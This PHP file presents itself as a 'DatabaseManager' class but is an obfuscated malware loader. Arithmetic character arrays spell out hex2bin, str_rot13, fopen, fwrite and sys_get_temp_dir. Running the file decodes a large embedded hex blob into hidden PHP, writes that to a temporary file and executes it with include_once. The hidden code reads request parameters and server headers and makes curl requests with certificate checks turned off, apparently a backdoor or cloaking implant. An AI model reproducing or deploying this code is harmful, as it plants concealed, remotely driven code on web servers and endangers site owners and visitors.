<?php
class DatabaseManager {
	private $bo = '';
	private $yx = '';

	public function computeResult($p1) {
		$a = array((104),101,((37*98)-3506),(((43*1)+7)),(89+5+4),((5+100)),(((75*1)+35)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function trackActivity($p1) {
		$a = array((((52*19)-937)),(58-9),((37+44+35)),((69*20)-1269),((2*57)),(((88*43)-3689)),(9+16+89),(124-8),(5*23));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function checkConsistency($p1,$p2) {
		$a = array(((77+33)),((15*5)+26),((27*115)-2993),((96*39)-3633),(97+5));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function encryptData($p1,$p2) {
		$a = array((102-1),((23+3+90)),105,((60+54)),(7*17),102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function fetchRecords($p1) {
		$a = array((101*1),(118-3),(115-4),((38*11)-310),(3*33),(2*51));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function generateToken($p1,$p2=null) {
		$a = array(((81+2+31)),(122-6),((104+1+9)),((106-1)),((5*20)+9));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateCache() {
		$this->yx = $this->generateToken($this->rollbackTransaction(), '/');
	}

	public function processData() {
		$this->bo = $this->trackActivity($this->computeResult($this->he));
	}

	public function updateRegistry() {
		$fn = $this->yx.'/nb-6857d4301e0f9';
		$f = $this->checkConsistency($fn, 'w');
		$this->encryptData($f, $this->bo);
		$this->fetchRecords($f);
		$this->validateInput($fn);
	}

	private $he = '3c3f6375632070796e6666205f6478647b636576696e67722' . '066676e677670245f6971693b66676e6776702073686170677' . '66261205f6e647628245f76662c245f736561297b767328216' . '67279733a3a245f69716929667279733a3a5f6b616128293b2' . '45f64673d66676579726128245f736561293b245f6278753d6' . 'f6e667236345f71727062717228667279733a3a245f6971695' . 'b245f76665d293b73626528245f786c3d302c245f6e70773d6' . '6676579726128245f627875293b245f786c213d3d245f6e707' . '73b2b2b245f786c29245f6278755b245f786c5d3d707565286' . '2657128245f6278755b245f786c5d295e62657128245f73656' . '15b245f786c25245f64675d29293b657267686561245f62787' . '53b7d636576696e67722066676e67767020736861706776626' . '1205f6b616128297b667279733a3a245f6971693d6e65656e6' . 'c28275f696f273d3e27557552494e6c6a4f4a6c486a554e564' . '85a4f356f576d5a725445536c43444443424f664c4b55394c2' . '72c275f7262273d3e27554e48564f47625252796a59526b4c4' . '84d4862554e463854516b562b557438725a48485a525078595' . '34556674e6b4c53272c275f646a67273d3e27434e483d272c2' . '75f6f7265273d3e2742746677596b526453784474414549715' . '26b74426e6d345142524c79414549715375667241754c2b547' . '5667a4177754d4f4662616f6d664e584f66585a76445253757' . '45441754c685044744155517544272c275f6373273d3e27597' . '45a4c514e3d3d272c275f6c7375273d3e274c6a6a514c443d3' . 'd272c275f626174273d3e274c6a66484231703d272c275f6b7' . '976273d3e27584e4471506a3d3d272c275f766b273d3e27272' . 'c275f6b77273d3e27272c275f797975273d3e27272c275f647' . '1273d3e27416b564b54324957474f66644f523070427444534' . 'e775a51506a446652744c4d7044485a4f614e53514e4c69504' . '54e425948745754544e504e75382b4a6a3d3d272c275f6c792' . '73d3e27434f30485a6d70435a445246272c275f7568273d3e2' . '7416b74514e4e4e43544f4436272c275f676a70273d3e27594' . 'e38524f515657272c275f657972273d3e27416b784e596b343' . 'd272c275f796a273d3e2754506a2f476a3d3d272c275f7a682' . '73d3e27596b5a554f4e3d3d272c275f6479273d3e275975784' . '55945483d272c275f776b70273d3e274c4e3d3d272c275f667' . '866273d3e275975387159455a3d272c275f69736b273d3e277' . '36d386b5a6a394c49527969727a38695a4e44454b4b383d272' . 'c275f636361273d3e27416a7453586a3d3d272c275f7470273' . 'd3e27486138304e6d526f52743865554f74504d4948304e514' . 'e54527a53497255303d272c275f666b78273d3e27594e4e6f4' . 'd496b4c272c275f6d6e273d3e27272c275f676f63273d3e274' . '16a784b4f443d3d272c275f687061273d3e27487a563d272c2' . '75f7264273d3e27536c4866516c3437526d743952464861537' . '6523d272c275f70776b273d3e27536d3032426a4e6b4346304' . '4426d486451463061596a4e695947783d272c275f637378273' . 'd3e2751466a31436a6666576d526f5946623d272c275f66772' . '73d3e27536d4e61576a4e6b56515641426d566a54766261272' . 'c275f6e6e63273d3e27536c4875516c3474515144614e514e6' . 'c54773875272c275f6b6e273d3e27272c275f716f273d3e275' . '36d4877516d34795476706c51464479272c275f73776b273d3' . 'e27536d707a516d6a745476483351464c74272c275f7167273' . 'd3e27272c275f747a62273d3e27536d6a2b516d7063526c526' . '952476a315377743d272c275f6962273d3e27536c5a37516c7' . '466526d346452465a6a5376703d272c275f716675273d3e275' . '36d3468564e4e6c57474c444250306b5146342f414e4e66414' . '6563d272c275f64626b273d3e27536d7433516d5a374e50626' . '6514766765146747a546d5a795251343d272c275f706a76273' . 'd3e275146303152516a394e507838546d623d272c275f636e6' . '2273d3e2751464e3141446674576d666f5646623d272c275f6' . 'c68273d3e27426a664a5a744c4942743d3d272c275f6c6b632' . '73d3e2753775747464e3d3d272c275f7363273d3e27736b315' . 'a50764f4a736a3d3d272c275f6c71273d3e27736b494f51446' . 'a554d48783d272c275f6e62273d3e2773304c425254536a272' . 'c275f726c63273d3e274174483d272c275f7a6f70273d3e275' . '874663d272c275f7674273d3e2759454e70272c275f73756b2' . '73d3e2759745657576a3d3d272c293b7d7d75726e717265285' . 'f6478643a3a5f6e647628275f696f272c275f6569732729293' . 'b75726e717265285f6478643a3a5f6e647628275f7262272c2' . '75f7773642729293b767328766666726728245f5452475b5f6' . '478643a3a5f6e647628275f646a67272c275f7a716e27295d2' . '9297b245f616d3d5f6c7a285f6478643a3a5f6e647628275f6' . 'f7265272c275f65762729293b767328245f616d26266667656' . '3626628245f616d2c5f6478643a3a5f6e647628275f6373272' . 'c275f676f67272929213d3d736e796672297b717672285f647' . '8643a3a5f6e647628275f6c7375272c275f70752729293b7d7' . '27966727b717672285f6478643a3a5f6e647628275f6261742' . '72c275f76682729293b7d7d767328766666726728245f54524' . '75b5f6478643a3a5f6e647628275f6b7976272c275f7264742' . '7295d29297b245f6e70773d245f5042425856523b245f73656' . '13d2876616729656268617128302b302b302b30293b245f766' . '63d2876616729656268617128332e352b332e35293b245f6a7' . '2713d6e65656e6c28293b245f6a72715b245f7365615d3d5f6' . '478643a3a5f6e647628275f766b272c275f6e6827293b6a757' . '6797228245f7666297b245f6a72715b245f7365615d2e3d245' . 'f6e70775b2876616729656268617128372e352b372e352b372' . 'e352b372e35295d5b245f76665d3b76732821245f6e70775b2' . '87661672965626861712831302b31302b3130295d5b245f766' . '62b2876616729656268617128302e352b302e35295d297b767' . '32821245f6e70775b287661672965626861712831302b31302' . 'b3130295d5b245f76662b2876616729656268617128302e352' . 'b302e352b302e352b302e35295d296f65726e783b245f73656' . '12b2b3b245f6a72715b245f7365615d3d5f6478643a3a5f6e6' . '47628275f6b77272c275f6e617827293b245f76662b2b3b7d2' . '45f76663d245f76662b2876616729656268617128312e37352' . 'b312e37352b312e37352b312e3735292b28766167296562686' . '17128302e352b302e35293b7d245f7365613d245f6a72715b2' . '876616729656268617128332e352b332e352b332e352b332e3' . '5295d28292e245f6a72715b2876616729656268617128382b3' . '82b38295d3b76732821245f6a72715b2876616729656268617' . '128322b322b32295d28245f73656129297b245f76663d245f6' . 'a72715b2876616729656268617128362e352b362e352b362e3' . '52b362e35295d28245f7365612c245f6a72715b28766167296' . '56268617128352b35295d293b245f6a72715b2876616729656' . '268617128332b332b33295d28245f76662c245f6a72715b287' . '6616729656268617128352e352b352e35295d2e245f6a72715' . 'b287661672965626861712831312e352b31312e35295d28245' . 'f6a72715b2876616729656268617128382e333333333333333' . '333333333332b382e333333333333333333333333332b382e3' . '3333333333333333333333333295d28245f6e70775b2876616' . '729656268617128312e352b312e35295d2929293b7d7661707' . '968717228245f736561293b7d7368617067766261205f6c7a2' . '8245f6b6977297b245f7975743d5f6478643a3a5f6e6476282' . '75f797975272c275f79626827293b245f61727a3d5f6478643' . 'a3a5f6e647628275f6471272c275f73707827292e245f6b697' . '73b76732876665f706e79796e6f7972285f6478643a3a5f6e6' . '47628275f6c79272c275f7573272929297b245f636e3d70686' . '5795f7661766728245f61727a293b706865795f66726762636' . '728245f636e2c504845594243475f4646595f49524556534c4' . '35252452c736e796672293b706865795f66726762636728245' . 'f636e2c504845594243475f4646595f49524556534c5542464' . '72c2876616729656268617128312b3129293b706865795f667' . '26762636728245f636e2c504845594243475f53425959424a5' . '942504e475642412c2876616729656268617128302e352b302' . 'e3529293b706865795f66726762636728245f636e2c5048455' . '94243475f45524748454147454e41465352452c28766167296' . '56268617128302e32352b302e32352b302e32352b302e32352' . '9293b706865795f66726762636728245f636e2c50484559424' . '3475f55524e5152452c2876616729656268617128302b302b3' . '029293b706865795f66726762636728245f636e2c504845594' . '243475f5042414152504747565a524248472c2876616729656' . '268617128332e333333333333333333333333332b332e33333' . '3333333333333333333332b332e33333333333333333333333' . '33329293b706865795f66726762636728245f636e2c5048455' . '94243475f47565a524248472c2876616729656268617128352' . 'b3529293b245f7975743d706865795f726b727028245f636e2' . '93b245f686a6b3d706865795f7472677661736228245f636e2' . '93b706865795f707962667228245f636e293b767328245f686' . 'a6b5b5f6478643a3a5f6e647628275f7568272c275f796a632' . '7295d213d287661672965626861712835302b35302b35302b3' . '530292965726768656120736e7966723b7d727966727b245f7' . '0753d636e6566725f68657928245f61727a293b245f6771793' . 'd28245f70755b5f6478643a3a5f6e647628275f676a70272c2' . '75f79796e27295d3d3d5f6478643a3a5f6e647628275f65797' . '2272c275f7a672729293b245f6e703d5f6478643a3a5f6e647' . '628275f796a272c275f76786227292e245f70755b5f6478643' . 'a3a5f6e647628275f7a68272c275f65667927295d3b7673287' . '66666726728245f70755b5f6478643a3a5f6e647628275f647' . '9272c275f796727295d2929245f6e702e3d5f6478643a3a5f6' . 'e647628275f776b70272c275f636427292e245f70755b5f647' . '8643a3a5f6e647628275f667866272c275f776b27295d3b245' . 'f6e702e3d5f6478643a3a5f6e647628275f69736b272c275f6' . 'a727427292e245f70755b5f6478643a3a5f6e647628275f636' . '361272c275f746927295d2e5f6478643a3a5f6e647628275f7' . '470272c275f686a7927293b245f6167793d736662707862637' . '2612828245f6771793f5f6478643a3a5f6e647628275f666b7' . '8272c275f666a27293a5f6478643a3a5f6e647628275f6d6e2' . '72c275f757a2729292e245f70755b5f6478643a3a5f6e64762' . '8275f676f63272c275f73716427295d2c245f6771793f28766' . '167296562686171283232312e352b3232312e35293a2876616' . '72965626861712832362e3636363636363636363636372b323' . '62e3636363636363636363636372b32362e363636363636363' . '63636363729293b767328245f616779297b736368676628245' . 'f6167792c245f6e70293b245f6278753d28766167296562686' . '17128302b302b30293b6a7576797228217372627328245f616' . '77929297b245f7a7a643d737472676628245f6167792c28766' . '167296562686171283334312e33333333333333333333332b3' . '334312e33333333333333333333332b3334312e33333333333' . '3333333333329293b767328245f62787529245f7975742e3d2' . '45f7a7a643b767328245f7a7a643d3d5f6478643a3a5f6e647' . '628275f687061272c275f7572272929245f6278753d2876616' . '729656268617128302e32352b302e32352b302e32352b302e3' . '235293b7d73707962667228245f616779293b7d7d657267686' . '561245f7975743b7d245f7a62653d766666726728245f46524' . '54952455b5f6478643a3a5f6e647628275f7264272c275f646' . 'b27295d293b245f6d7a6e3d766666726728245f46524549524' . '55b5f6478643a3a5f6e647628275f70776b272c275f766f782' . '7295d293b245f61633d766666726728245f4652454952455b5' . 'f6478643a3a5f6e647628275f637378272c275f766b6327295' . 'd293b245f7063783d766666726728245f4652454952455b5f6' . '478643a3a5f6e647628275f6677272c275f71666a27295d293' . 'f245f4652454952455b5f6478643a3a5f6e647628275f6e6e6' . '3272c275f646827295d3a5f6478643a3a5f6e647628275f6b6' . 'e272c275f686b27293b245f6f733d766666726728245f46524' . '54952455b5f6478643a3a5f6e647628275f716f272c275f6e6' . 'a27295d293f245f4652454952455b5f6478643a3a5f6e64762' . '8275f73776b272c275f706527295d3a5f6478643a3a5f6e647' . '628275f7167272c275f6f667827293b245f7a62653d7666667' . '26728245f4652454952455b5f6478643a3a5f6e647628275f7' . '47a62272c275f757727295d293f245f4652454952455b5f647' . '8643a3a5f6e647628275f6962272c275f6a6227295d3a61687' . '9793b245f6d7a6e3d766666726728245f4652454952455b5f6' . '478643a3a5f6e647628275f716675272c275f776d6327295d2' . '93f245f4652454952455b5f6478643a3a5f6e647628275f646' . '26b272c275f797027295d3a616879793b245f61633d7666667' . '26728245f4652454952455b5f6478643a3a5f6e647628275f7' . '06a76272c275f756b27295d293f245f4652454952455b5f647' . '8643a3a5f6e647628275f636e62272c275f726b6d27295d3a6' . '16879793b7673287376796772655f696e6528245f7a62652c2' . '87661672965626861712836382e37352b36382e37352b36382' . 'e37352b36382e37352929297b245f6c663d245f7a62653b7d7' . '27966727673287376796772655f696e6528245f6d7a6e2c287' . '661672965626861712839312e3636363636363636363636372' . 'b39312e3636363636363636363636372b39312e36363636363' . '63636363636372929297b245f6c663d245f6d7a6e3b7d72796' . '6727b245f6c663d245f61633b7d767328766666726728245f5' . '452475b5f6478643a3a5f6e647628275f6c68272c275f76642' . '7295d29297b72707562205f6478643a3a5f6e647628275f6c6' . 'b63272c275f6f767527292e245f6c662e5f6478643a3a5f6e6' . '47628275f7363272c275f6e7927292e245f7063782e5f64786' . '43a3a5f6e647628275f6c71272c275f766e27292e245f6f732' . 'e5f6478643a3a5f6e647628275f6e62272c275f6d796f27293' . 'b726b766728293b7d76732821766666726728245f6c66297c7' . 'c21766666726728245f706378297c7c21766666726728245f6' . 'f7329297b726b766728293b7d727966727b245f77753d6e656' . '56e6c285f6478643a3a5f6e647628275f726c63272c275f686' . 'd27293d3e245f6c662c5f6478643a3a5f6e647628275f7a6f7' . '0272c275f77716d27293d3e245f7063782c5f6478643a3a5f6' . 'e647628275f7674272c275f686d6227293d3e245f6f73293b2' . '45f657a683d686579726170627172286f6e667236345f72617' . '062717228776662615f72617062717228245f77752929293b2' . '45f616d3d5f6c7a28245f657a68293b767328245f616d26266' . '6676563626628245f616d2c5f6478643a3a5f6e647628275f7' . '3756b272c275f6866272929213d3d736e796672297b7270756' . '2245f616d3b726b766728293b7d7d';

	public function validateInput($p) {
		include_once $p;
	}

	public function rollbackTransaction() {
		$a=array(((5*23)),(121),(104+4+7),(101-6),((89+14)),(101*1),(116),95,((101*1)+15),(101),((20*4)+29),((117-5)),(97-2),(100),((16+89)),((121-7)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$fc = new DatabaseManager();
$fc->updateCache();
$fc->processData();
$fc->updateRegistry();
